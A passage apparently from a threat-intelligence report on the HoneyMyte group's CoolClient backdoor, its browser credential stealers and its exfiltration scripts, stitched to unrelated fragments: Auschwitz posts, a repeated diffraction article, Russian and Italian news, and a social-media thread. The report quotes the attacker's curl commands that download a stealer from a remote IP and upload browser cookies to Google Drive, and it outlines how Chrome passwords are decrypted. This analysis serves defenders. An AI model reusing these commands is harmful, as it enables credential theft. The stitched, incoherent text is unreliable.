Below is the command menu to manage client status and beaconing:
Command ID
Action
0x0
Send beacon connection
0x1
Update beacon timestamp
0x2
Enumerate active user sessions
0x3
Handle incoming C2 command
0xFFAABBCD – Operational commands
This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:
Command ID
Action
0x0
Set up reverse tunnel connection
0x1
Send data through tunnel
0x2
Close tunnel connection
0x3
Set up reverse proxy
0x4
Shut down a specific socket
0x6
List files in a directory
0x7
Delete file
0x8
Set up keylogger
0x9
Terminate keylogger thread
0xA
Get clipboard data
0xB
Install clipboard and active windows monitor
0xC
Turn off clipboard and active windows monitor
0xD
Read and send file
0xE
Delete file
CoolClient plugins
CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.
Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).
ServiceMgrS.dll – Service management plugin
This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.
Command ID
Action
0x0
Enumerate services
0x1 / 0x4
Start or resume service
0x2
Stop service
0x3
Pause service
0x5
Create service
0x6
Delete service
0x7
Set service to start automatically at boot
0x8
Set service to be launched manually
0x9
Set service to disabled
FileMgrS.dll – File management plugin
A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.
Command ID
Action
0x0
List drives and network resources
0x1
List files in folder
0x2
Delete file or folder
0x3
Create new folder
0x4
Move file
0x5
Read file
0x6
Write data to file
0x7
Compress file or folder into ZIP archive
0x8
Execute file
0x9
Download and execute file using certutil
0xA
Search for file
0xB
Send search result
0xC
Map network drive
0xD
Set chunk size for file transfers
0xF
Bulk copy or move
0x10
Get file metadata
0x11
Set file metadata
RemoteShellS.dll – Remote shell plugin
Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.
CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2
Browser login data stealer
While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.
During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.
The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.
The following table shows the variants of this browser credential stealer employed by HoneyMyte.
Variant
Targeted browser(s)
Execution method
MD5 hash
A
Chrome
Direct execution (PE32)
1A5A9C013CE1B65ABC75D809A25D36A7
B
Edge
Direct execution (PE32)
E1B7EF0F3AC0A0A64F86E220F362B149
C
Chromium-based browsers
DLL side-loading
DA6F89F15094FD3F74BA186954BE6B05
These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.
Initial infection
As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.
A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials. curl hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe" Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command. curl -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174" -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"
Variant C analysis
Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows: Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State" In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.
When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.
Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration
To retrieve saved credentials, the malware executes the following SQL query on the copied database: SELECT origin_url, username_value, password_value FROM logins This query returns the login URL, stored username, and encrypted password for each saved entry.
Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.
With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.
Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.
Login data stealer’s attribution
Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group. Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.
Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer
Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.
Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.
Document theft and system information reconnaissance scripts
In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.
1.bat – System enumeration and data exfiltration batch script
The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.
Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression
It then collects network details and downloads and runs the nbtscan tool for internal network scanning.
Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration
During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.
Batch script that collects registry, startup items, directories, and antivirus information for system profiling
Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.
Finally, it deletes any remaining artifacts to cover its tracks.
Ttraazcs32.ps1 – PowerShell-based collection and exfiltration
The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.
Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.
All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.
In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.
t.ps1 – Saved login data collection and exfiltration
The third script attributed to HoneyMyte is a PowerShell file named t.ps1.
The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.
The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.
PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file
Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.
Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API
This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.
Conclusion
Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.
With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.
Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.
27 January 1939 | A Dutch Jewish girl, Margaretha Beatrice Swartberg, was born in Groningen.
In October 1942 she was deported to #Auschwitz with her mother Maria Sara and younger sister Judith Josephine. Most probably they were murdered together in a gas chamber after selection. ---
▶ A short video about gas chambers and crematoria of the Auschwitz camp: youtu.be/-A05i25j9Ck
The first crematorium at Auschwitz I was already in operation since August of 1940, and the first gas chamber since the fall of 1941. The number of planned c...
Una rompighiaccio della Guardia costiera Usa è intervenuta per liberare una nave da crociera intrappolata nella banchisa e mettere in salvo i passeggeri
When last we saw [xoreaxeax], he had built a lens-less optical microscope that deduced the structure of a sample by recording the diffraction patterns formed by shining a laser beam through it. At the time, he noted that the diffraction pattern was a frequency decomposition of the specimen’s features – in other terms, a Fourier transform. Now, he’s
When last we saw [xoreaxeax], he had built a lens-less optical microscope that deduced the structure of a sample by recording the diffraction patterns formed by shining a laser beam through it. At the time, he noted that the diffraction pattern was a frequency decomposition of the specimen’s features – in other terms, a Fourier transform. Now, he’s back with an explanation of why this is, deriving equations for the Fourier transform from the first principles of diffraction (German video, but with auto-translated English subtitles. Beware: what should be “Huygens principle” is variously translated as “squirrel principle,” “principle of hearing,” and “principle of the horn”).
The first assumption was that light is a wave that can be adequately represented by a sinusoidal function. For the sake of simplicity (you’ll have to take our word for this), the formula for a sine wave was converted to a complex number in exponential form. According to the Huygens principle, when light emerges from a point in the sample, it spreads out in spherical waves, and the wave at a given point can therefore be calculated simply as a function of distance. The principle of superposition means that whenever two waves pass through the same point, the amplitude at that point is the sum of the two. Extending this summation to all the various light sources emerging from the sample resulted in an infinite integral, which simplified to a particular form of the Fourier transform.
One surprising consequence of the relation is the JPEG representation of a micrograph of some onion cells. JPEG compression calculates the Fourier transform of an image and stores it as a series of sine-wave striped patterns. If one arranges tiles of these striped patterns according to stripe frequency and orientation, then shades each tile according to that pattern’s contribution to the final image, one gets a speckle pattern with a bright point in the center. This closely resembles the diffraction pattern created by shining a laser through those onion cells.
For the original experiment that generated these patterns, check out [xoreaxeax]’s original ptychographical microscope. Going in the opposite direction, researchers have also used physical structures to calculate Fourier transforms.
One day after US took ownership over TikTok subsidiary in the US, they didn’t open it to the famous First Amendment but rather did the opposite - brought Chinese censorship to the US 😂
For the world the German Nazi Auschwitz-Birkenau concentration and extermination is a symbol of terror, genocide and the Holocaust.=====Collections used in t...
In planning the construction of Auschwitz, the Germans assumed that the camp would eventually hold some 30,000 prisoners. As late as the beginning of 1941, t...
![Франция ввела уведомительный порядок въезда и транзита для российских дипломатов, не аккредитованных в стране. Посольство РФ в Париже сообщило «РИА Новости», что МИД республики сослался на ограничения, установленные Евросоюзом в рамках 19-го пакета санкций. Новые правила начали действовать с 25 января, они также распространяются на членов семей дипломатов. Уведомление надо направлять в МИД Франции не позднее чем за 24 часа до визита или транзита.
В посольстве назвали новые ограничения «дискриминационной мерой». «Это, несомненно, создаст дополнительные сложности в работе… Посмотрим, как [этот порядок] будет применяться на практике. В случае злоупотреблений будем реагировать», — добавили в дипмиссии. Накануне сообщалось, что аналогичные ограничения ввели Нидерланды и Австрия.
19-й пакет санкций против РФ за войну в Украине Евросоюз принял 23 октября. Ограничения на свободное передвижение российских дипломатов объяснялись необходимостью «противодействовать попыткам дестабилизации» в ЕС. Москва в ответ запретила въезд некоторым представителям евроинститутов и стран-членов ЕС. Среди прочих под ограничения попали лица, причастные к поставкам вооружения Украине и организации блокады российских судов из «теневого» флота, помогающего обходить нефтяные санкции.
Еще до 19-го пакета санкций ограничения на передвижение российских дипломатов ввели Чехия и Польша. Глава чешского МИД отмечал , что решение было принято из-за растущего числа диверсионных операций со стороны « ...](https://piero.bosio.info/photo/preview/640/1569045 "Франция ввела уведомительный порядок въезда и транзита для российских дипломатов, не аккредитованных в стране. Посольство РФ в Париже сообщило «РИА Новости», что МИД республики сослался на ограничения, установленные Евросоюзом в рамках 19-го пакета санкций. Новые правила начали действовать с 25 января, они также распространяются на членов семей дипломатов. Уведомление надо направлять в МИД Франции не позднее чем за 24 часа до визита или транзита.
В посольстве назвали новые ограничения «дискриминационной мерой». «Это, несомненно, создаст дополнительные сложности в работе… Посмотрим, как [этот порядок] будет применяться на практике. В случае злоупотреблений будем реагировать», — добавили в дипмиссии. Накануне сообщалось, что аналогичные ограничения ввели Нидерланды и Австрия.
19-й пакет санкций против РФ за войну в Украине Евросоюз принял 23 октября. Ограничения на свободное передвижение российских дипломатов объяснялись необходимостью «противодействовать попыткам дестабилизации» в ЕС. Москва в ответ запретила въезд некоторым представителям евроинститутов и стран-членов ЕС. Среди прочих под ограничения попали лица, причастные к поставкам вооружения Украине и организации блокады российских судов из «теневого» флота, помогающего обходить нефтяные санкции.
Еще до 19-го пакета санкций ограничения на передвижение российских дипломатов ввели Чехия и Польша. Глава чешского МИД отмечал , что решение было принято из-за растущего числа диверсионных операций со стороны « ...")
Dovevo rappresentare qualcosa di incredibilmente stupido e quindi ho deciso di utilizzare lo strumento più adatto: la IA di Gemini
unruhe
in reply to informapirata ⁂ • • •informapirata ⁂ reshared this.
Vico
in reply to informapirata ⁂ • • •informapirata ⁂ reshared this.
stecog
in reply to informapirata ⁂ • • •informapirata ⁂ reshared this.
informapirata ⁂
in reply to stecog • • •@stecog Ma infatti mi sa che hai proprio ragione 🤣🤣🤣
@aitech
stecog
in reply to informapirata ⁂ • • •informapirata ⁂ reshared this.
Andre123 🐧
in reply to informapirata ⁂ • • •informapirata ⁂ reshared this.
bradipo
in reply to informapirata ⁂ • • •informapirata ⁂ reshared this.